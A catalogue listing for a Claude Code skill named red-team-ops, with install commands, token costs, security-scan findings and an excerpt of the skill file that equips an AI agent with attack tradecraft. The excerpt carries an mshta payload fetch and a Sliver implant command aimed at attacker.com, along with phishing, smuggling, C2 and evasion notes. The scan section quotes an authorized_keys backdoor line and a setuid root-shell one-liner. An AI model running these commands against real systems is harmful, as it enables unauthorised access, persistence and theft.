red-team-ops

red-team-ops is a skill for Claude Code from hypnguyen1209/offensive-claude. It costs 41 tokens per session (2,082 once invoked), scanned B, original, MIT.

A guide for conducting a complete red-team exercise, which is an authorised simulation of an attack on an organisation. It covers gaining entry, maintaining access, raising permissions and avoiding security tools.

In plain words
What is it for?
Planning authorised security exercises involving phishing, payload delivery, endpoint bypasses, privilege escalation, command-and-control systems and data theft simulations.
Why use it?
It gives testers a structured way to examine how an attacker could move through a system and whether the organisation can detect and stop them.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the offensive-claude plugin — 30 skills, 18 commands, 8 agents, 1 hook shipped together

Good fit Planning authorised security exercises involving phishing, payload delivery, endpoint bypasses, privilege escalation, command-and-control systems and data theft simulations.

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Install with agentmods
npx agentmods add skills/hypnguyen1209/offensive-claude/red-team-ops
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add hypnguyen1209/offensive-claude --skill red-team-ops
Clone the repo
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude

Made for: Claude Code.

Or install offensive-claude, the plugin that ships this one along with the rest of its 30 skills, 18 commands, 8 agents, 1 hook.

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Per session 41 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,082 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 11 findings, up to critical

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • critical YARA Match · line 7
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
  • high YARA Match · line 118
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
  • high Privilege Escalation · line 125
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high YARA Match · line 125
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
  • high YARA Match · line 148
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high YARA Match · line 160
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high Privilege Escalation · line 186
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 187
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • medium Rogue Agent · line 77
    Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
    Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
  • medium Rogue Agent · line 97
    Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
    Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
  • medium Privilege Escalation · line 174
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00041 $0.02082
Opus 5 $0.00020 $0.01041
Sonnet 5 $0.00008 $0.00416
Haiku 4.5 $0.00004 $0.00208

Measured 13d ago against content hash 6e1d7e94440e, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

red-team-ops scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 13d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

# cap_setuid+ep on python3 → python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'
skills/red-team-ops/SKILL.md · 265 lines

How it starts

The opening of the file, as written. The whole thing — 265 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Red Team Operations

When to Activate

  • Simulating advanced persistent threat (APT) operations
  • Testing detection and response capabilities
  • Establishing persistent access and C2
  • Evading EDR/AV/SIEM detection
  • Privilege escalation on compromised hosts
  • Data exfiltration planning

Initial Access

Phishing Payloads

# Office macro (VBA)
# - AutoOpen/Document_Open trigger
# - Download cradle: PowerShell IEX or certutil
# - Sandbox evasion: check domain join, user interaction delay

# HTA (HTML Application)
mshta http://attacker.com/payload.hta

# ISO/IMG mounting (bypass MOTW)
# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL

# OneNote (.one) with embedded scripts
# Drag-and-drop .bat/.hta behind fake "Double click to view" image

# DLL sideloading
# Find legitimate signed EXE that loads DLL from CWD
# Place malicious DLL alongside legitimate EXE in delivery package

Delivery Mechanisms

# Smuggling past email gateways:
# - Password-protected ZIP (password in email body)
# - HTML smuggling (JS constructs blob → downloads file)
# - QR code to attacker-controlled site
# - Legitimate file-sharing (OneDrive, Google Drive links)

Command & Control (C2)

Infrastructure Setup

# Sliver C2
sliver-server
> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe
> mtls --lhost 0.0.0.0 --lport 443
> https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com

# Domain fronting / CDN hiding
# Use high-reputation domains (cloudfront, azure CDN)
# C2 traffic appears as legitimate HTTPS to CDN

# Redirectors
# socat TCP-LISTEN:443,fork TCP:c2-server:443
# Apache mod_rewrite rules to filter blue team probes

# Malleable C2 profiles (Cobalt Strike)
# Mimic legitimate traffic patterns (Slack, Teams, O365)

C2 Communication Patterns

# DNS over HTTPS (DoH) — blends with normal traffic
# Domain fronting — SNI vs Host header mismatch
# Named pipes — internal lateral movement without network traffic
# SMB beacons — blend with normal AD traffic
# Websockets — persistent connection through proxies

Read the full file on GitHub · 265 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 13d ago First seen · 265 lines · 41 tokens per session scan B 6e1d7e94440e

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red-team-ops is a skill published in the GitHub repository hypnguyen1209/offensive-claude (360 stars, last pushed 26d ago), licensed MIT. It adds 41 tokens to every session and 2,082 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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